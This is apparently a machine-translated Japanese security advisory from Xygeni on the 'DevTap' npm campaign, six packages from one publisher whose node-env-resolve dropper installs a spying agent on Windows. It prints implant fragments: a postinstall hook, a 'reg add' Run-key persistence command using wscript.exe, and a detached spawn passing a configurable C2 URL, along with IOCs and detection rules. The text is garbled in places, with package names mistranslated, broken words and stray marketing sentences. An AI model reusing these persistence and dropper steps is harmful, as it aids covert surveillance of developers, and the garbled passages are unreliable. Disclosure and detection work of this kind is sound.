DevTap npm タイポスクワッティング攻撃

DevTap npmのタイポスクワッティング攻撃:6つの悪意のあるパッケージが開発者のワークステーションを標的に

TL; DR

2026年4月1日から5月3日の間に、単一のnpmパブリッシャーが、 user0001未確認のGmailアドレスで登録 tanvisoul9@gmail.comひっそりと、意図的に地味でインフラ関連を連想させる名前の6つのパッケージをプッシュした。 centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve.

最新の2つのバージョン node-env-resolveバージョン1.0.7と1.0.8は、5月2日にXygeniのマルウェア早期警告(MEW)システムによってフラグが立てられ、5月3日に悪意のあるものであると確認されました。

このインプラントは、何でないかという点で珍しい。Telegram ボットも OAST コールバックも、 難読化インストール時にAWS認証情報を取得しようとする試みは一切行われず、代わりに postinstall.js HKCU Run キーを使用して Windows ブート永続エントリを配置し、 wscript.exe VBSスタブに対して実行され、その後、マイクキャプチャ、ブラウザ履歴の窃盗、スクリーンショット、マウス/キーボードシミュレーションのためのモジュールをバンドルした、独立したNode.jsエージェントが起動されます。

私たちはこれをクラスターと呼んでいます DevTapキットを実行した後、開発者のマシン上で動作します。

執筆時点で、6つのパッケージすべてがnpm上で公開されていました。これらのパッケージはレジストリの不正利用報告チャネルに提出済みです。削除が完了するまで、セキュリティ担当者は発行元からインストール済みのパッケージを削除してください。

クラスター:6つのパッケージ、1つの出版社

出版社アカウント user0001 未検証です。 SCM 認証済み、ドメインに紐づいたメールなし、過去の履歴なし。Gmailのハンドル名 tanvisoul9 私たちが調べた限り、他のnpmパブリッシャーのレコードには記載されていません。

6 つのパッケージすべてに同じメンテナーが記載されており、同じアカウントから公開され、同じ package.json 定型文はありません。 repositoryhomepage、そしていいえ description 1行よりも長い。

命名戦略が興味深い点です。古典的な依存関係の混乱やタイポスクワッティングのキャンペーンとは異なり、これらの名前は特定のアップストリームライブラリをターゲットにしていません。代わりに、実際のライブラリに溶け込むように調整されています。 package.json or npm ls 出力。

パッケージ初公開最新バージョンバージョンクラスターにおける役割
セントラルロガー2026-04-01 12:46 UTC1.0.95、1.0.5から1.0.9までClusterの「ログ記録ユーティリティ」の表紙。初公開。
dom-utils-lite2026-04-14 07:36 UTC1.0.33汎用DOMヘルパーカバー
ノードフェッチライト2026-04-19 10:22 UTC1.0.23node-fetchファミリーを模倣する
コネクターエージェント2026-04-25 05:12 UTC1.0.01一般名「薬剤」
node-gyp-runtime2026-04-25 05:17 UTC1.0.01ネイティブモジュールのビルドツールを模倣する
node-env-resolve2026-04-25 05:21 UTC1.0.910、1.0.0から1.0.9までアクティブドロッパー; フルインプラント

名前は好きです centralogger, node-fetch-lite, node-gyp-runtime これらはコードレビューで物議を醸さないように設計されています。プロジェクトの依存関係ツリーに既に含まれていそうなものに聞こえます。

新規で未検証の発行者とリポジトリリンクの欠如と相まって、認識可能なパターンを形成します。つまり、行為者がレジストリに摩擦の少ない名前をばらまき、その後、重要な名前を迅速に反復します。この場合、 node-env-resolve 8日間で10種類のバージョンを受け取った。

Windows開発ボックスに何が届くのか

悪意のある連鎖 node-env-resolve:1.0.8 短く、直接的で、npm RATとしては異例なほど機能が豊富だ。

インストール後:永続性とデタッチドエージェント

package.json 単一のインストールフックを宣言します。

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js 3つのことを順番に行う。

まず、npm ツリーの外にインストール ディレクトリをステージングします。パスはスクリプトの実行時に次のように計算されます。 INSTALL_DIRすると内部処理が実行されます execSync('npm install --production --silent ...') 内部に挿入して、インプラントのランタイム依存関係を取得します。これにより、エージェントはディスク上のどこかに配置され、手動で node_modules 監査では見つからないだろう。

次に、VBSランチャーを作成し、起動時の永続化のために登録します。

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe Windows Script Host は、Microsoft の署名付きバイナリで、 .vbs コンソールウィンドウのないファイル。cisely が自動実行スタブに好まれる理由です。

マッチングもあります reg delete 内部のパス src/index.jsこれは、インプラントが術者の指示によりきれいに取り外せるように設計されていることを示唆している。

第三に、独立した子プロセスを生成します。

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

ここで重要なのは2つの点です。

SERVER_URL 環境から読み取られます。その結果、C2エンドポイントはデプロイメントごとに設定可能であり、パッケージに組み込まれていません。この小さな、しかし意図的な選択により、ほとんどの静的IOCスキャンを無効化できます。

また、生成された子は親の環境を完全に継承します。したがって、 NPM_TOKEN, AWS_*, GITHUB_TOKENまたは、インストール時に開発者シェルに存在する SSH エージェントソケットが、長期エージェントのメモリに移動します。

エージェントが同梱するもの

バンドル src/ このツリーには、名前だけで内容がわかる3つのモジュールが含まれています。 audioCapture.js, browserHistory.js, systemInfo.js.

実行時依存関係リストは、ステージング中に解決されます。 npm installそれらを裏付けている。

この手法は、混沌とした事態を統制された対応へと変える。

盲目的に反応するのではなく、チームは 明確な優先順位付けと迅速な是正措置.

依存関係この文脈におけるその目的
スクリーンショット - デスクトップ定期的な画面キャプチャ
@nut-tree-fork/nut-jsマウスとキーボードの自動化/入力シミュレーション
より良い-sqlite3Chrome、Edge、Firefoxの履歴SQLiteデータベースを直接読み込む
adm-zip持ち出し前に収集した遺物を束ねる
シャープスクリーンショットのサイズ変更/圧縮と画像アーティファクト
socket.ioクライアント持続的な双方向C2チャネル
ノードマシンID被害者追跡のための安定したホストごとの指紋

systemInfo.js 呼び出し os.networkInterfaces() 最初のビーコンの前に追加の指紋認証を行うため。

音声キャプチャが際立った信号である理由

MEWでトリアージしたnpm RATのほとんどは、インストール時の秘密情報の窃盗で止まります。 ~/.npmrc読み取り、 ~/.aws/credentials削る process.envウェブフックにPOSTリクエストを送信して、終了する。これは、強奪型の経済モデルに合致する。認証情報の有効期限は短く、攻撃者は迅速に収益化する必要がある。

node-env-resolve 形が異なる。

永続性は再起動後も維持されるように設定されています。エージェントは分離して長期間実行されます。 wscript.exe搭載されているキットは、開発者のマシンに常駐するためのものであり、持ち去って放置するためのものではありません。具体的には、マイクレコーダー、キーボード/マウスドライバ、ブラウザ履歴の完全な取り込み、スクリーンキャプチャ、および設定可能なC2へのインタラクティブなSocket.IOチャネルです。

特にマイクの音声を傍受するという行為は、このキャンペーンが踏み越えている一線であり、ほとんどのnpmマルウェアは踏み越えていない。

開発者ワークステーションは、ますます開発者がスタンドアップミーティング、顧客との電話会議、設計に関する議論、オンコールでの連絡を行う場所としても使われるようになっている。マイクを録音するインプラントの真の目的は、開発者のnpmトークンではない。開発者がノートパソコンの前で話す内容を録音することこそが目的なのだ。

その機能セットに加え、難読化の欠如や派手なインストール時の情報漏洩がないことから、これは機会主義的な認証情報窃盗ではなく、標的を絞ったアクセスを事前に準備するためのものだと解釈できる。

これだけで犯人を特定しようとしているわけではありません。あくまでも作戦上の特徴を指摘しているだけです。

npmのタイポスクワッティング攻撃 - DevTab

8日間の反復サイクル node-env-resolve これは、タイムラインの中で運用上最も重要な詳細事項である。

これは、一度インストールしたらあとは放置するようなものではありません。パブリッシャーはドロッパーを積極的にメンテナンスしており、これは通常、次の2つのいずれかを意味します。1つは、より広範な展開の前にテスト環境で調整を行っている場合、もう1つは、既にインストールに関するテレメトリデータが返ってきており、それに基づいて対応している場合です。

他の5つのパッケージは、最初の公開後、実質的に変更がありませんでした。これは、サポートクラスターに関しては「一度ステージングしたら、名前はそのまま」というパターンに合致しており、エンジニアリングの労力は実際に作業を行うパッケージに集中できます。

犯人特定:手がかりはわずか、確固たる結論は出せない

公共 OSINT 信号は微弱なので、引き伸ばすつもりはありません。観測可能なものは次のとおりです。

Gmailのハンドル名 tanvisoul9 南アジアの名前「Tanvi」に部分的に似ています。これは弱いシグナルです。Gmail ハンドルは身元情報ではなく、末尾の soul9 これは一般的な情報です。メールのローカルパートだけから地理的な情報を推測するのは安全ではありません。

コードスタイルは特に目立ったものではありません。Node.js: standard ライブラリ呼び出しなど os, child_process, spawn, reg add難読化も文字列ローテーションもデバッグ対策も一切行われていない。著者はWindowsレジストリの基本機能や子プロセス分離のオーケストレーションには精通しているようだが、より巧妙な工作手法を駆使しているようには見えない。

依存関係はすべて既製品で、よく知られているものです。 screenshot-desktop, nut-js, better-sqlite3, socket.io-clientカスタムプロトコルも、ゼロから構築したC2スタックも、教科書通りの斬新な永続化トリックも一切ありません。 HKCU実行キーこれは有能なシステムインテグレーターであり、ツール開発者ではありません。

公開された成果物の中に、英語以外の文字列、埋め込みコメント、ロケールデータ、コンパイラ出力のタイムゾーンフィンガープリントは見つかりませんでした。

既に追跡している以前のキャンペーンとのコードの重複をチェックしました。 シャイ・ハルード, オウルヴィオン、Buildkite、そして最近のheibai / claude-code-best Anthropic-CLI クローンファミリー。我々は、共通の C2 パターン、共通のファイルレイアウト、共通の慣用表現など、何も見つけることができなかった。

私たちが言わないのは、これが国家主体による行為であるとか、既知のグループによる行為であるとか、特定の国と地理的に結びついているといったことではありません。

この活動形態は、開発者ワークステーションの監視を行う、小規模で中程度のスキルを持つチームによるものと一致する。アクセス権限の下流利用による金銭的な動機が考えられるが、別の顧客向けに偵察サービスを提供する可能性もある。

それを裏付ける間接的なポイントが 2 つあります。それは、Telegram ボットなど、クラスターを急速に消耗させるような注目を集めるデータ流出メカニズムの回避です。 oastify.comあるいはcanarytokens、そして意図的に地味なパッケージ名など、短期間の大量インストールよりも、静かなロングテールインストールを優先する。

侵害および検出の指標

パッケージと発行者
フィールド
npm publisheruser0001
発行者メールtanvisoul9@gmail.com、未確認
エクストラcentralogger、dom-utils-lite、node-fetch-lite、connector-agent、node-gyp-runtime、node-env-resolve
悪意のある行為が確認されましたnode-env-resolve@1.0.7、node-env-resolve@1.0.8
ホストアーティファクト
タイプ
永続性キーHKCU\Software\Microsoft\Windows\CurrentVersion\Run
持続性変数名。wscript.exe 形式のデータ\\ .vbs"
フックを取り付けるpostinstall: パッケージマニフェスト内の node postinstall.js
インプラントモジュールsrc/audioCapture.js、src/browserHistory.js、src/systemInfo.js
ステージングディレクトリINSTALL_DIR はプロジェクトの node_modules の外で解決されました。場所はインストール時に postinstall.js によって設定されます。
ネットワーク
タイプ
C2輸送socket.ioクライアント、永続的な双方向チャネル
C2エンドポイントエージェントにはSERVER_URL環境変数を通じて提供されます。公開された成果物にはハードコーディングされていません。

検出メモ

このファミリーは、C2エンドポイントを必要とせずに、2つのルールで捕捉できます。

まず、内部処理を実行するインストール後スクリプトにフラグを立てます。 npm install パッケージ自身のディレクトリ外のパスに。正当なプリビルドダウンローダーであればどれでも、 node-gyp 再構築またはプリビルドバイナリダウンローダー、パッケージ内またはプラットフォームに書き込みます。standard 検証済みのハッシュを持つキャッシュパス。新しく作成されたものには書き込みません。 INSTALL_DIR ディスク上の別の場所。

次に、問題のあるインストール後スクリプトにフラグを立てる reg add HKCU\…\Run   wscript.exe ランチャーとして使用されます。これは基本的にnpmパッケージから正当な動作ではありません。フラグを立てて隔離してください。

3つ目のヒューリスティックは、次の兄弟パッケージが確定する前に見つけるのに役立ちます。 SCM 確認、Gmailメール、いいえ repository 分野が異なり、短く一般的なインフラストラクチャを連想させるパッケージ名が複数、数日のうちに公開されるだけでも、手動レビューを行うに値する。

npmレジストリに報告しました。パブリッシャーアカウントが削除され次第、この記事を更新します。

sca-tools-ソフトウェア構成分析ツール
ソフトウェアのリスクを優先順位付けし、修復し、保護する
無料アカウントを作成しましょう。
いいえ、クレジットカードは必要ありません。

ソフトウェア開発と納品を安全に

Xygeni製品スイートと共に